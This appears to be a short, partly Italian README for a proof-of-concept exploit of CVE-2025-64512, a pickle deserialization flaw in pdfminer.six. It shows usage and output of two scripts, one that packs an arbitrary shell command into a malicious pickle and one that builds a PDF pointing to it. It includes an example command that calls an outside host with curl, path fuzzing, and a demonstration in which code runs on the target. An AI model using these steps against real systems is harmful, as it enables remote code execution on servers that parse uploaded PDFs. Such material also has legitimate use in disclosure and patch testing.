
CVE-2025-64512: pdfminer.six pickle deserialization rce; .pickle.gz + pdf generator w/ custom payloads
CVE-2025-64512 Esecuzione arbitraria di codice in pdfminer.six tramite input PDF appositamente creato PoC
% python3 mkpickle.py Usage: mkpickle.py [output] Ex: mkpickle.py 'curl [IP]:[PORT]/rce' evil.pickle.gz
% python3 mkpdf.py -h usage: mkpdf.py [-h] [-o OUTPUT] [-p PATH] [-f] [pickle_name]
Create PDF that triggers pdfminer.six pickle deserialization (CVE-2025-64512)
positional arguments: pickle_name Pickle filename without .pickle.gz (default: evil)
options: -h, --help show this help message and exit -o, --output OUTPUT Output PDF filename (default: exploit.pdf) -p, --path PATH Custom absolute path to pickle (without .pickle.gz) -f, --fuzz Generate PDFs for all common absolute paths
python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz [+] evil.pickle.gz (78 bytes) cmd: touch /tmp/a
(carica evil.pickle.gz su /var/www/html/files/evil.pickle.gz)
python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil [+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz
(carica ex-poc.pdf e attiva/attendi l'elaborazione del PDF)
ls -l /tmp/a -rw-r--r-- 1 ... ... 0 Jul 19 12:39 a